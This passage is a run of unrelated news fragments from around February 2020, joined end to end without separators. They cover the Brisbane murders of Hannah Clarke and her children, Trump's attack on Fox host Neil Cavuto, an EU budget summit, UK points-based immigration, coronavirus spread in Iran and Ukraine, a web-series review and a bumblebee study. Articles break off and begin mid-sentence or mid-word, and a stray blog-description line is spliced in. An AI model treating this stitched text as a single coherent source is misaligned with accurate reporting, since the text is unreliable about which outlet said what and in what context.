now implying that a murdered woman might be at fault, then that to me raises critical questions about whether they took the threat to her safety seriously enough,' she said. Ms Clarke, 31, and her children Laianah, four, Aaliyah, six, and Trey, three, were killed when Baxter allegedly poured petrol on his family and set them alight at Camp Hill in Brisbane on Wednesday. Baxter died on the footpath from self-inflicted wounds, police say. 'Our job as investigators is to keep a completely open mind,' Det Insp Thompson told media in a 13-minute press conference on Thursday. He noted the outpouring of anger and grief on social media following the deaths and urged anyone with information about the family dynamic to come forward. Hannah Clarke ( pictured) along with her children Laianah, 4, Aaliyah, 6, and Trey, 3, (above ) were murdered by their husband and father Rowan Baxter before he killed himself on Wednesday Detective Inspector Mark Thompson has been slammed after he said police needed to keep an open mind as to whether the deaths of Hannah Clarke and her children were a case of a 'husband being driven too far by issues' or a woman and children suffering extreme domestic violence 'We need to look at every piece of information and, to put it bluntly, there are probably people out there in the community that are deciding which side to take, so to speak, in this investigation,' he said. 'Is this an issue of a woman suffering significant domestic violence and her and her children perishing at the hands of the husband? Or is this an instance of a husband being driven too far by issues that he's suffered by certain circumstances into committing acts of this form?' On the day of the tragedy, the same detective described the crime scene as among the 'best'. 'I've seen some horrific scenes and this is up there with some of the best of them,' Det Insp Thompson said on Wednesday. Police Commissioner Katarina Carroll apologised for the comments on Friday. She added the phrasing was wrong and said Thompson was 'gutted' about the comments. 'He is distraught and he is gutted about the way he said it and what was said,' Commissioner Carroll told the ABC. 'He is a man who has protected the Queensland community all his life and has worked endless hours, and when he looks back he cannot believe the way he has phrased that.' She said in a statement: 'To ensure public confidence I have asked Detective Inspector Thompson to step aside from the investigation.' Police Commissioner Katarina Carroll apologised on Friday and said Det Insp Thompson was gutted about the comments Rowan Baxter (above left) allegedly poured petrol on his family and set them alight at Camp Hill in Brisbane on Wednesday, Baxter died on the footpath from self-inflicted wounds, police say Following the press conference social media users were quick to criticise the officer's comments. 'There is no justification for the brutal murder of three children in a car fire,' one woman tweeted. 'No one is 'driven to' setting their children alight. Any members of QPS seen not to condemn this evil behaviour will be seen to be excusing it. There is no 'open mind' on murder!' Another said: 'Just when you thought this act of murder was bad enough... Utter disbelief at the quotes from QPS.' Detective Thompson's comments have been condemned as victim blaming by domestic violence campaigners including Betty Taylor from the Red Rose Foundation and Angela Lynch, the head of the Women's Legal Service Queensland Fox Newss Neil Cavuto and a contributor to his show found themselves the subjects of a lengthy tirade by President Donald Trump at his rally in Colorado Thursday night. For roughly ten minutes, Trump went on about his performances in the 2016 debates, holding up papers with polls showing how well he did in the debates, and taking the occasional shot at Cavuto and the contributor, A.B. Stoddard of RealClearPolitics. While taking his standard shots at the media, Trump added, Fox is not that much better, we just got lucky cause we have some all their high-rated shows are the shows that like Trump. All their loser shows, like Cavuto, are the shows that dont like Trump. Earlier in the day while discussing Mike Bloombergs dreadful performance in the Democratic debate Wednesday night, Stoddard mentioned Trumps poor showings in the 2016 debates. I think that Donald Trump had disastrous debate performances, Stoddard said. Many answers were so cringeworthy you just couldnt even believe he was still standing on the stage, and hes president. Could somebody at @foxnews please explain to Trump hater A.B. Stoddard (zero talent!) and @TeamCavuto, that I won every one of my debates, from beginning to end. Check the polls taken immediately after the debates. The debates got me elected. Must be Fox Board Member Paul Ryan! Donald J. Trump (@realDonaldTrump) February 20, 2020 A short time later, Trump posted a tweet calling Stoddard a Trump-hater, and claiming to have won every debate in 2016 from beginning to end. Cavuto earned his spot in Trumps diatribe by correcting the president at the end of his show. Just to point out, he did not, Cavuto said. When you look at polls that came out from Fox, NBC, CNN, Politico, YouGov and a host of others, the initial read was that he had failed to do well in those debates. He ultimately won, but he didnt poll well in those debates. Story continues Following the Trump tirade, Fox Business host Trish Regan came to Cavutos defense. [Cavuto] is someone who started this network, Fox Business, and someone who is the utmost journalist and always fair. I can tell you that about Neil. He is a fair person, a fair guy and a good man, Regan said. So Im disappointed that the president said those things because Neil Cavuto, because is one guy who just doesnt deserve it. Your World With Neil Cavuto airs weekdays at 4 p.m. on Fox News Channel. Watch Elizabeth Warren call for Mike Bloomberg to drop out of the race after the brutal debate: Read more from Yahoo Entertainment: Tell us what you think! Hit us up on Twitter, Facebook or Instagram, or leave your comments below. And check out our host, Kylie Mar, on Twitter, Facebook or Instagram. Want daily pop culture news delivered to your inbox? Sign up here for Yahoo Entertainment & Lifestyle's newsletter. T he leader of far-right political group Britain First has been charged with an offence under the Terrorism Act after allegedly refusing to give police access to his phone. Paul Golding, 38, was stopped at Heathrow Airport in October on his way back from a trip to the Russian Parliament in Moscow by officers from the Mets Counter Terrorism Command. He refused to give the pin codes for a number of his electronic devices, police said. Golding, of Bexley, south east London, was later charged with refusing to comply with a duty under Schedule 7 of the act. He is due to appear at Westminster Magistrates Court on Friday, February 28, Scotland Yard said. In a statement, Golding said he was not a terrorist and described the charges as an abuse of legislation. Schedule 7 allows police to interrogate, search and detain anyone for up to six hours at UK ports. In January 2020 alone, attacks by Russian Federation armed formations left 11 Ukrainian servicemen dead and 33 wounded. Ukrainian Foreign Minister Vadym Prystaiko said this at a UN General Assembly meeting on the situation in the temporarily occupied territories of Ukraine held in New York on Thursday, February 20, an Ukrinform correspondent reported. "There have been 20 recommitments for a comprehensive ceasefire. Ukraine abides by it, while Russian Federation forces and their proxies continue shelling and attacks. In January 2020 alone, attacks by Russian Federation armed formations left 11 Ukrainian servicemen dead and 33 wounded," the foreign minister said. Highlighting major developments since the Assemblys last meeting on the situation, he said that in April 2019, the Ukrainian people elected a new President in democratic and open elections. The restoration of the territorial integrity of Ukraine by peaceful means has become President Volodymyr Zelenskys top priority. "Ukraine remains eager to reinvigorate international frameworks such as the Normandy Four and the Trilateral Contact Group, to find a sustainable solution, together with the Russian Federation and mediating partners," he noted. ish Previous winners have gone on to set up restaurant chains, sell millions of cookbooks and work in some of Britains finest kitchens including The Fat Duck and Le Gavroche. No wonder a whopping 3,000 hopefuls apply to compete on MasterChef each year. The show returns this week on another quest to find the countrys best amateur chef, with judges Gregg Wallace and John Torode, whove been presenting since 2005, still at the helm. And Gregg, 55, believes he knows why the show remains so successful. Its a very honest programme, he says. We dont take the mickey out of people, we try to help them as much as we can. John Torode and Gregg Wallace (pictured) discussed the success of BBC1 Masterchef, as the hit cookery show returns to screens this week 'Its addictive too Ive watched repeats of editions Id forgotten because I wanted to see how they turned out. For the contestants, the hardest part is the first round, Gregg adds. They have such a small amount of time to impress us. Its do or die. 'As soon as they know theyre coming on the show they should cook in every spare moment. 'You have to put in the groundwork beforehand or youll never get anywhere you cant wing it so that when we suddenly chuck stuff at you, youre not fazed by it. A potential champion only begins to emerge the second time we taste something truly delicious cooked by them the first time could be a fluke. 'Oh, and every winner has to cry at least once. And burn their fingers! There are 60 contestants to begin with, battling it out in ten heats of six. Three from each heat go into the quarter-finals; three go straight home. Each episode begins with the Signature Dish challenge, for which the contestants bring in their own ingredients and cook their showstopper in just an hour and 15 minutes. Adventurous dishes in the first heat include Balmoral chicken (a chicken breast stuffed with haggis) served with a potato and swede tower, a lemon zest and garlic crumb, and whisky sauce; and a Chinese spiced duck breast with sweet and sour beetroot, carrot and ginger puree, and a soy and blackcurrant reduction. Blimey, its not surprising the contestants have butterflies. The two contestants who make the best Signature Dishes go directly through to the final round of their heat. This year's contestants are challenged with impressing the judges and guest judges. Pictured left to right: contestants Dev, Karen, Amanda, Becky, Teddy and Pete The other four then face a totally new test the Three Ingredient Challenge in which they must make one standout dish using just sea bream, fennel and tomatoes. The best cooks have an instinctive understanding of texture and flavour, says Gregg. They can work out dishes in their heads like mathematicians. The best two in this challenge join the best Signature Dish duo in the final round and the other two go home. Things really heat up now with four vying for three qualifying spots. They have to create two courses that will thrill not only John and Gregg but also previous MasterChef champions and finalists in the first heat its 2019 winner Irini Tzortzoglou and finalists Delia-Maria Asser and Jilly McCord. I like an element of surprise in a dish, says Gregg. Its great when a contestant thinks theyve worked out a dish, and then it delivers more than they expected. You stick it in your mouth and think, Oh my God! The guest judges choose their favourite contestant who goes into the quarter-finals, before John and Gregg select two from the remaining three to go through as well, with one being sent home. Its that tension, and the viewers desire to root for the contestants, that makes the show so watchable. But humour also plays a big part too, as Gregg proves when recalling the silliest MasterChef dish hes ever seen. It was on MasterChef: The Professionals a man roasted a quail and then stuck it on top of a chocolate cake, for reasons best known to himself! Drama, humour, the odd disaster no wonder versions of MasterChef are now shown in 200 territories worldwide. And the shows success has opened up opportunities for its two hosts, whove both made their own TV series on the back of it. But Gregg still has one unfulfilled ambition a cameo on EastEnders. Could I appear out of the blue at Christmas? he asks. Might there be someone on EastEnders I was married to that Id forgotten about? Acting doesnt get tougher than that! MasterChef, Monday, Wednesday and Friday, 9pm, BBC1. An EU summit called to set the bloc's next seven-year budget ended in impasse late Friday, riven by competing groups among the 27 member states and pressure to fill a funding gap left by Brexit. Differences were "still too great to reach an agreement," German Chancellor Angela Merkel told reporters at the end of the two days of talks in Brussels. No date had yet been set for another summit to try again, but Merkel added that "we are going to have to return to the subject". The trillion-euro-plus budget, the multiannual financial framework, is meant to be operational from next year and run to the end of 2027. But the summit revealed stubborn differences between a handful of wealthy "frugal" states and a larger group wanting more money to meet both big European ambitions and to fill the 75-billion-euro shortfall left by Britain's exit from the EU last month. "Unfortunately we have observed it was not possible to reach an agreement, we observed we need more time," said European Council President Charles Michel, who had called the extraordinary summit and stewarded the talks. He said, however, he was right to make the effort: "As my grandmother said, to succeed you first have to try." - 'Goup vs group' - European Commission President Ursula von der Leyen, who is counting on a big enough budget to meet her executive's "geopolitical" ambitions, said the EU discord was sign of "democracy". Despite Merkel and French President Emmanuel Macron teaming up to back Michel in his search for an acceptable compromise, two groups of countries dug in their heels. One was the so-called "frugal four" made up of Austria, Denmark, the Netherlands and Sweden, which wanted the budget reined in to reflect the UK's absence and to avoid them having to shoulder a bigger budgetary burden. The other was the "friends of cohesion", 16 member states including Italy, Spain, Portugal, Greece, Poland and Hungary that want to ringfence EU spending on things like infrastructure as well as farm subsidies. "We ended up in a situation of group versus group. That's why it failed," a source close to the negotiations told AFP. Germany and France stood apart from those groups but had their own interests to defend. Merkel is determined to retain a budget rebate her country has received ever since Britain wrangled one for itself while a member. Macron, who is against the rebates, is resolute that the farm subsides -- from the Common Agricultural Policy (CAP) -- not be cut. "The CAP cannot go to pay for Brexit," Macron said as the summit broke up. The French president was to visit a national farm show in Paris on Saturday. He has sought to push the EU to be more united and more ambitious and insisted Thursday that Britain's departure should not clip the bloc's wings. - A battle over percentages - Much of the summit's haggling focused on how much of a percentage of GDP the member states would have to cough up. The "frugals" were entrenched at paying no more than 1.0 percent. Dutch Prime Minister Mark Rutte said that position was "reasonable", addressing inflation and economic growth. But, he said, the hole left by Brexit "is now a fact has to be reflected in the budget". Italian Prime Minister Giuseppe Conte said his rival group was working on "counter-proposition" with a vision of a "more ambitious" European Union that would require a higher GDP target. Macron expressed frustration with the situation, saying "I don't think it's a good method, to try to break away in groups and to block things, to get together and form types of blocking coalitions". Michel's revised proposal made Friday was for 1.07 percent, which would have resulted in a seven-year budget of 1.09 trillion euros. That would be just a bit above the previous one of 1.08 trillion euros while covering the Brexit hole. But it found no takers. Far above the figures thrown around at the summit is the one proposed by the European Parliament, pressing for 1.3 percent of GDP. That would be to cover Brexit, fund all current programmes and go to ambitious new ones such as fighting climate change, increasing EU investment in space and technology, and boosting the bloc's external borders. Almost all leaders at the summit view the MEPs' ask as way too much. But they are also aware that the parliament has to give its assent to a budget deal among member states, whenever that might be worked out. By Abdul Kerimkhanov The body of the missing Azerbaijani soldier Akif Abbasov has been evacuated from the neutral territory on the Azerbaijani-Armenian border, Head of the Public Relations Department of the International Committee of the Red Cross (ICRC) Azerbaijan Office Ilaha Huseynova has said, After the appeal and consent of the parties, ICRC participated as a neutral intermediary in the operation to evacuate the body of the dead soldier from the territory on the border on February 19. Akif Abbasov, who is a soldier of the Azerbaijani Army, had gone missing some time ago. The soldier's body was discovered on the Azerbaijan-Armenia border a few days ago. Earlier, on February 15, Azerbaijani Defense Ministry reported the killing of soldier Alasgarov on the line of contact of troops saying that the Armenian side bears the entire responsibility for the escalation of the situation in the front line. Armenia committed the murder on the eve of the meeting between President of Azerbaijan Ilham Aliyev and Armenian Prime Minister Nikol Pashinyan at the Munich Security Conference. Azerbaijan and Armenia are locked in a conflict over Azerbaijans Nagorno-Karabakh region, which along with seven other regions were occupied by Armenian forces in a war in the early 1990s. Around one million Azerbaijanis were displaced as a result of the large-scale hostilities that were started by the Armenian forces due to territorial claims against Baku. A temporary cease-fire agreement was signed between the countries in 1994, however a final peace deal has not been reached yet. Peace negotiations mediated by the OSCE Minsk Group co-chairs have yielded no results to this date. Since 1992, negotiations have been underway for a peaceful settlement of the conflict within the framework of the OSCE Minsk Group. In 1993, the UN Security Council adopted four resolutions (822, 853, 874 and 884) on the Nagorno-Karabakh conflict. However, due to the unconstructiveness of Armenia, they still remain on paper. --- Abdul Kerimkhanov is AzerNews staff journalist, follow him on Twitter: @AbdulKerim94 Follow us on Twitter @AzerNewsAz Labour TD Aodhan O Riordain has launched his bid to become the next Labour leader, saying the party needs to re-connect with younger voters and cannot go back to basics. The Dublin Bay North TD announced he will seek the leadership, setting up a contest with Tipperary deputy Alan Kelly. His leadership rival Mr Kelly had said it was time for the party to go back to basics when he launched his campaign earlier this week. Launching his campaign for the Labour leadership in the community hall in Dublins Sheriff Street, Mr O Riordain pledged to rebuild his party on the basis of traditional Labour values. A heartfelt thank you to the people of Dublin Bay North who have chosen me as one of their representatives in Dail Eireann. Thanks to my campaign team whove been with me every step of the last four years. Onwards. #GE2020 pic.twitter.com/Gjr6VQhh9r Aodhan O Riordain (@AodhanORiordain) February 10, 2020 He said there was a need to focus on what Labour can deliver in the future, and to return to being the campaigning heart of Irish politics. He said: Weve had many setbacks in our long history, which have often led to calls to go back to basics. But, while were proud of our roots, we cannot afford to look backwards. We have to grow and develop if were to win back trust and confidence and be relevant into the future. We want the Irish people to trust us again. We cannot do that if we come up with the same answers that we have had for as long as I have been a member of the Labour Party. Back to basics, work harder, back into communities. Every single Labour representative is in their communities, working hard. Alan Kelly is also seeking the post (Brian Lawless/PA) But they are hamstrung, I think, by a sense that the public have about our party. He said the party needs to rebuild its popularity with younger voters after a poor showing in the general election as only 2% of voters aged between 18 and 24 had voted for the Labour Party. Either we say they are wrong, or there is something wrong with us. He said he would place workers rights at the centre of a bold policy agenda. A bold policy agenda, including an end to failed market-driven polices for health, housing and childcare, and a series of peoples budgets that go beyond economic performance to deliver sustainable economic equality. A campaigning party that would listen and campaign with communities in towns, villages, and workplaces across Ireland, and a fit-for-purpose party organisation with the highest possible standards of professionalism, effectiveness, and accountability. The leadership will be decided by a membership vote, to be announced on April 3. This blog covers software patent news and issues with a particular focus on wireless, mobile devices (smartphones, tablet computers, connected cars) as well as select antitrust matters surrounding those devices. YEREVAN. The referendum campaign has already begun. At present, we are not conducting a public campaign, but work is being done in the form of preparations and meetings in the provinces and communities of Yerevan. Lilit Makunts, head of the majority My Step faction in the National Assembly (NA) of Armenia, mentioned this in a conversation with reporters in the NA today, adding that the head of the "Yes" campaign headquarters in this referendum will hold a press conference soon and will present what they are going to do. Referring to the fact that the "No" side will not conduct a campaign as such, Makunts noted that everyone chooses for himself whether or not to participate in the process. Asked whether the political majority has thus remained alone in its political initiative and that it casts a shadow upon the entire referendum process from the very beginning, the leader of My Step faction said: The process is legal and constitutional. The referendum relates to only one article of the Constitution that allows for the restoration of the Constitutional Court model that was approved by the 2015 constitutional amendments, which has been endorsed by the international organizations to which it has been sent for a conclusion. Therefore, there is no question of whether or not remaining alone; here it is about fully applying the new Constitution." To the remark that Prime Minister Nikol Pashinyan was skeptical about the Venice Commission in his interview yesterday, but the draft law on early retirement of the serving Constitutional Court judges was sent to the Venice Commission for a conclusion, and to the question why they bypassed the Venice Commission in one case, but not in the other case, Makunts responded: In 2015, the draft constitution, including the Constitutional Court model that does not work at the moment, was sent to all international structures, including the Venice Commission, and positive conclusions were received. We are now proposing to restore the model that has been approved by the 2015 Constitution. The Constitutional Court, whose model has been approved by international structures, does not work; in other words, we are only reaffirming the Venice-approved package." Makunts added that they have not yet made a final decision on sending to the Venice Commission, but said they still have time to make a decision. Asked if the Armenian authorities have any reason not to trust the Venice Commission, she replied: We have pretty good, close relations with our international partners. At the same time, there are certain worrying circumstances that need to be resolved once and for all before taking a step, or voicing an assessment." Home Secretary Priti Patel announced Wednesday that Britain will scrap free movement of labour and introduce a restrictive points-based immigration system from January 31, 2021. This follows the end of the transition period after the UK formally left the European Union (EU) on January 31 this year. Predictably, the pro-Tory tabloids welcomed the new measures in the most lurid terms, with the Daily Mail proclaiming an Immigration Revolution. The curtailing of free movement brings to an end a situation that has existed for nearly 30 years, since the adoption of the Maastricht Treaty in 1992, which formally established the European Union and heralded a single European market allowing the free passage of goods and labour throughout the bloc. Boris Johnson [Credit: Chatham House] In future, those seeking to come to the UK to live and work will be required to achieve a score of at least 70 points against various criteria, such as having a job offer from a Home Office approved sponsor which pays at least 25,600, passing a skills threshold, requiring a PhD in some areas of work and, given pride of place, speaking English. While EU citizens could previously come to the UK to work or study without requiring a visa, a new visa application process will be introduced, for which they must pay a fee. According to the Home Office, most EU citizens will enrol facial biometrics using smartphone self-enrolment. While stating fingerprints will not initially be required, this could change. The British state is setting in place the infrastructure to gather massive amounts of biometric data on all those who enter. The 16-page policy statement issued by the Home Office makes clear that the UK borders will be firmly closed to what it terms low-skilled workers. Neither will it be possible to come as a self-employed person, as many Eastern European migrants currently working in the building trade have done. Border checks will be stepped up and entry with a valid European ID card will no longer be possible, requiring all those arriving to have a passport. Those able to meet the onerous points requirements will be denied recourse to any income-related benefits should their fortunes changefor example, if they lose their jobuntil they have successfully acquired indefinite leave to remain, which usually takes at least five years. EU citizens will be permitted to travel to the UK for up to six months without a visa as long as they do not work, and to pass through the expedited e-gate border system, but this would be kept under review. The Home Office briefing says those departing the UK after their leave has expired will find their future interactions with UK immigration impacted. A minor infringement or mistake with a leaving date could prevent a person returning to the UK at all. In full little Englander mode, Patel said the measures taking back control of our borders would attract the brightest and the best from around the globe, boosting the economy, while the government was no longer going to have a route for low-skilled workers to come to the UK. Her claims that the new immigration system would be good for the economy were immediately contradicted by several representatives of big business, largely motivated by the closing off of a pool of relatively cheap labour in jobs that pay at or near the minimum wage, but also by a skills gap in many key areas. Carolyn Fairbairn, director general of the Confederation of British Industry (CBI), said that in some sectors firms will be left wondering how they will recruit the people needed to run their businesses. With already low unemployment, firms in care, construction, hospitality, food and drink could be most affected. A CBI report in 2018 found that 30 percent of workers in the domestic food and drink industry, the largest manufacturing sector in the UK, are EU migrant workers. The meat industry relies on 63 percent of staff on the plant floor being EU nationals, extending as high as 80 percent in some cases. UK Hospitality chief executive Kate Nicholls said, [R]uling out a temporary, low-skilled route for migration in just 10 months time would be disastrous for the hospitality sector and the British people. Local Government Association chair James Jamieson said, The social care system faces one of the most serious challenges and any reforms need to ensure the social care workforce can be maintained. Years of austerity, council cuts and the privatisation of previously council-run provision mean the care sector is already breaking down. One in 11 posts remain unfilled, with migrant workers constituting almost a sixth of its 840,000-strong workforce in England. Under the new system, they would be classified as low-skilled and an already crisis-ridden care sector would be cut off from recruiting migrant labour. Liberal Democrat home affairs spokeswoman, Christian Jardine, described the new immigration system as being based on xenophobia and even former Tory cabinet minister Stephen Dorrell called it the worst kind of dog-whistle politics. But Labours Shadow Home Secretary Diane Abbott merely suggested the government appeared not to have thought through what the effects of this policy would be on the economy as a whole. The Trades Union Congress, as of this writing, has not issued a press release opposing the governments move to further divide workers in Europe and internationally and defending the rights of migrants. Those in the trade union bureaucracy who advocated for Brexit, including various Stalinists in the Rail, Maritime and Transport (RMT) union and Blue Labour ideologues such as Paul Embery, together with their accomplices such as the Socialist Party, are politically responsible for this outcome. They all embraced the narrative that immigrant labour from the EU must be curbed as a means of safeguarding wages and conditions. Now their demand and their rhetorical justifications can be heard from the lips of Boris Johnson and Priti Patel, even as they prepare a major offensive against the working class. The same is true from the media, with the freesheet Metro, part of the Daily Mail group, declaring a Ban on cheap EU workers. As the Socialist Equality Party warned at the time of the Brexit referendum, The Leave campaign is focused almost exclusively on demands to take back control of the UKs borders in order to clamp down on EU migrationblaming migrants for the collapse of essential social services that have been gutted by years of anti-working class measures implemented by successive Labour and Conservative governments. The ending of free movement of labour and introduction of anti-democratic immigration policies are of a piece with the Conservative governments move towards a hard Brexit. In his recent speech, Britains lead trade negotiator with the EU, David Frost, told his European counterparts the UK would in future not be constrained by EU labour, social, environmental and fiscal rules. Nor would it submit to oversight and control by European institutions and courts. What this means for workers was made clear by Patel, who stressed that the government expects workers in Britain, including foreign-born workers settled here, to fill the gaps in low-paying areas such as food processing, agriculture and the care system by making their skills relevanta euphemism for accepting lower wages and backbreaking working conditions. The recently installed chancellor, Rishi Sunak, is a fervent advocate of freeports, where companies enjoy massive tax breaks and labour regulations are relaxed, i.e., workers can be exploited even more intensely. Such moves to establish a Singapore-on-the-Thames will spearhead the general offensive against wages and working conditions that is the real aim of Getting Brexit Done. The continued demonization of migrants by the ruling elite is essential to the creation of a hostile climate to divide the working class and justify cuts to essential social services, including health care. In addition, in response to complaints of employers, Patel said that the minimum income qualification can be relaxed so that migrants will be able to enter the UK as part of a cheap labour workforce, as and when needed. The legislation states that the minimum salary threshold will be reduced to 25,600. If a person earns less than thisbut no less than 20,480they may still be able to apply by trading points on specific characteristics against their salary. For example, if they have a job offer in a shortage occupation. One of the jobs categorised as a shortage occupation is nursing. After tax and insurance, take home on a salary of 20,480 is just 17,462. [Update: Most coronavirus cases are mild. Thats good and bad news.] As recently as Tuesday, Iranian officials had said there were no cases of the virus in the country. By Friday, however, they acknowledged 18 cases in three cities, with four deaths. It was not immediately known how the virus had made its way to Iran, and it was far from clear that the country of 80 million people would be able to prevent the spread of the virus locally or abroad. Iran shares a border with Afghanistan and Iraq, where health officials have a limited ability to stop the spread of the virus should it find its way to those countries. Already, cases of travelers from Iran testing positive for the virus have turned up in Canada and Lebanon. At the same time, a surge in cases in South Korea where the total figure soared above 340 on Saturday and scores more were being monitored for symptoms added to fears that the virus was also spreading across Asia with dangerous speed. [Read: South Korean leader said coronavirus would disappear. It was a costly error.] Those cases have been tied to a secretive church. The South Korean authorities are racing to trace people who have come into contact with the infected congregation members, but have struggled to find all of those connected to the churchs hundreds of members. And in China, there was concern that the virus could spread beyond its starting point in Hubei Province, after officials reported outbreaks in hospitals in Beijing and clusters of infections in at least four prisons across three provinces. The disturbing new clusters were announced on the same day that Chinese officials acknowledged that their repeated shifts in methodology for counting new cases had sown confusion. Pawan & Pooja Cast: Mahesh Manjrekar, Deepti Naval, Sharman Joshi, Gul Panag, Taaruk Raina, Natasha Bharadwaj Creator: Siddharth P Malhotra, Shaad Ali, Ajay Bhuyan Love is the strongest feeling in the world that gives us courage to live each day with a smile on our faces and hope in our hearts. But no love story is perfect, just like the two people who are in it. Pawan & Pooja is an anthology of three love stories, replete with mistakes, regrets but most overwhelmingly, with love. Watch Pawan & Pooja trailer This MX Originals web series revolves around three couples, all with the same name and similar journey of love. Mahesh Manjrekar and Deepti Naval play happily married Kalras, both in their 60s; 40-something Sharman Joshi and Gul Panag play the Mehras, a sexually dissatisfied Bollywood couple; and YouTube prankster Taaruk Raina and social media influencer Natasha Bhardwaj play Pawan Shrivastav and Pooja Maheshwari. The two youngsters are yet to figure out if they are in love, something they will do as soon as they can free themselves from the tempting clutches of social media and this inherent millennial need to make private public. The urban love stories seem perfect from outside but are cracked from within. Gul Panag and Sharman Joshi play a Bollywood couple in Pawan & Pooja. Mahesh and Deepti light the screen with their chemistry as they play an ageing couple who make a no regret list before it is too late. While Mahesh entertains with his unapologetic attitude and childlike innocence as he goes on to tick dreams off his regret list, Deepti takes the path of self introspection to tick one major regret that may cost her everything she has. The two bring freshness to the show with their nuanced portrayal of an ageing couple wondering about a life they have led and what could have been. The storytellers really need to focus on these two seasoned performers as they effortlessly give the ruling jodi of Neena Gupta and Gajraj Rao a run for their money. The makers also show the other side of reality shows as it brings us a couple in front of the cameras. It presents a mirror to the audience that takes pleasure from peeking into the lives of others, even if fake. As they go on to crash every myth of audience votes and fake followers on social media accounts, the reality emerges to be stranger than fiction. The timing couldnt be better as it arrives in the times of Bigg Boss leading way to another reality show, Mujhse Shaadi Karoge. But can love really happen under the prying eyes of cameras? It can be more complicated than it sounds. Natasha Bharadwaj and Taaruk Raina in a still from Pawan & Pooja. It also offers another aspect of love as a married couple decides to swing to bring back the lost spark in their sex lives. It feels misogynistic as the makers chose to prove a woman a bigger cheater in a relationship than a man. The moment Sharman Joshi falls at his wifes feet to beg for mercy, it makes the woman an even bigger villain. At some point, it even addresses the difference between a leaked sex video and a MeToo allegation while almost mocking it from the view point of an offender. The show definitely has a pro-male perspective. While it looks genuine to see a young man regretting losing his virginity to a girl who faked being in love with him; a girl asking a man to hit her because she wasnt beaten by parents during childhood is distasteful. Mahesh Manjrekar and Deepti Naval play an ageing couple in Pawan & Pooja. Also read: Ayushmann Khurranas Shubh Mangal Zyada Saavdhan banned in Dubai and UAE for homosexuality: report Mahesh Manjrekar emerges as the star of this anthology with a charm that only increases with age. A subtle Deepti is an exact opposite but teams up with him to emerge as a new onscreen pairing Bollywood would love to welcome with open arms. Taaruk of Jumbo Jatts fame also brings the essence of Kanpur with perfection and wins hearts with his small town act. Its worth appreciating how the makers hold the plot without a glitch despite its running length of more than 7 hours. The love stories may be complicated but not the execution. (Hindustan Times doesnt use star-rating system in its movie reviews.) (Author tweets @ruchik87) Follow @htshowbiz for more Fears over the spread of the coronavirus have triggered violence in Ukraine, where protesters hurled stones at buses carrying evacuees from China. Demonstrators in the village of Novi Sanzhary in the central Poltava region clashed with police and burned tyres, as the convoy lead 70 evacuees to a quarantine centre in the area. Stones shattered the windows of one of the buses but it appeared nobody inside was injured. However nine officers and one civilian needed hospital treatment as a result of the wider clashes, regional police said in a statement. Hundreds of helmeted officers, police vans and an armoured personnel carrier had been dispatched to keep order as the villagers waited for evacuees to arrive. The protesters started fires and erected a barricade in the road Police officers and firefighters work to the clear the way after demonstrators blocked a road Since the early morning, several hundred residents had cut off the road to the quarantine centre which will host the evacuees. The protesters fear they could become infected. Demonstrators, some of whom reportedly appeared drunk, put up road blocks, burned tires and clashed with riot police who moved to clear access. One protester tried to ram police lines with his car. Ukrainian police said 24 protesters were detained. Buses carrying evacuees were finally able to reach the designated place of quarantine after hours of clashes. The masked evacuees, exhausted by the long journey, were peeking through bus windows as they drove slowly under a heavy police escort. The latest coronavirus developments: Interior Minister Arsen Avakov, who personally visited the site to try to calm the crowd, said he was shocked by the aggression. Mr Akakov said in televised remarks: "What we saw was shameful. "It was one of the biggest disappointments in my life." Ukrainian President Volodymyr Zelenskiy weighed in, saying the protests showed "not the best side of our character". He tried to reassure people that the quarantined evacuees wouldn't pose any danger to local residents. Mr Zelenskiy said in a statement published on Facebook that the people evacuated from China are healthy and will live in a closed medical centre run by the country's National Guard. Story continues He said: "In the next two weeks it will probably be the most guarded facility in the country." :: Listen to the Daily podcast on Apple Podcasts , Google Podcasts , Spotify , Spreaker Zoryana Skaletska, Ukraine's health minister, said she would join the evacuees in quarantine for two weeks to help assuage villagers' concerns. She urged residents to show sympathy and support for the evacuees and emphasised that the quarantine facility is in full conformity with international standards. The minister said: "I was shocked by the panic, rejection, negative feelings and aggression. "It was even a greater shock for the people who were evacuated from China." But local officials vowed to continue opposing the evacuation, saying that the quarantine centre's sewage system is linked to the one in the village and ends up in a nearby wastewater facility. The municipal legislators said in a statement: "We can't allow putting the health and life of local residents at risk, and demand that top officials take urgent moves to prevent people from China from being put here." A plane carrying 45 Ukrainians and 27 foreign nationals took off from Wuhan, the epicentre of the outbreak, in the early hours of Thursday. Those evacuated included people from Belarus, Kazakhstan, Argentina, Ecuador, Costa Rica, the Dominican Republic, Panama and other countries. China's vice technology minister Xu Nanping has said a coronavirus vaccine will be submitted for clinical trials in late April at the earliest. There have been a total of 76,243 suspected and confirmed cases of COVID-19, the disease caused by the coronavirus, according to the Johns Hopkins University which is mapping the outbreak. The centre has so far recorded 2,247 deaths from the illness, with the vast majority of them in mainland China. Two people died after contracting the illness on the Diamond Princess cruise ship off the coast of Japan. There has also been one death in each of Japan, the Philippines, South Korea, Taiwan and France. An evacuation flight for around 70 Britons who have been stuck on the Diamond Princess is expected to leave on Friday. Four Britons on board the cruise ship who have tested positive for COVID-19 will not be on the flight. How are we able to find things in the dark? And how can we imagine how something feels just by looking at it? It is because our brain is able to store information in such a way that it can be retrieved by different senses. This multi-sensory integration allows us to form mental images of the world and underpins our conscious awareness. It turns out that the ability to recognise objects across different senses is present in the tiny brains of an insect. Researchers at Queen Mary University of London and Macquarie University in Sydney have published new work in the journal Science showing that bumblebees can also find objects in the dark they've only seen before. In the light, but barred from touching the objects, bumblebees were trained to find rewarding sugar water in one type of object (cubes or spheres) and bitter quinine solution in the other shape. When tested in the dark, bees preferred the object that was previously rewarding, spending more time exploring them. Bumblebees also solved the task the other way around. After bees learned to find a particular shape in the dark, they were tested in the light and again preferred the shape they had learned was rewarding by touch alone. This ability is called cross-modal recognition and it allows us to perceive a complete picture of the world with rich representations. Dr Cwyn Solvi is the lead author on the paper who was based at Queen Mary University of London and is now at Macquarie University in Sydney. She said: "The results of our study show that bumblebees don't process their senses as separate channels -- they come together as some sort of unified representation." Professor Lars Chittka, head of the lab at Queen Mary University of London in which the study was performed, said: "We've long known that bees can remember the shapes of flowers. But a smartphone can recognise your face, for example, and does so without any form of awareness. Our new work indicates that something is going on inside the mind of bees that is wholly different from a machine -- that bees can conjure up mental images of shapes." Selene Gutierrez Al-Khudhairy, co-author on the paper, and now PhD student at the University of York, said: "This is an amazing feat when you consider the miniscule size of a bee's brain. Future investigations of the neural circuitry underlying this ability in bees may one day help reveal how our own brains 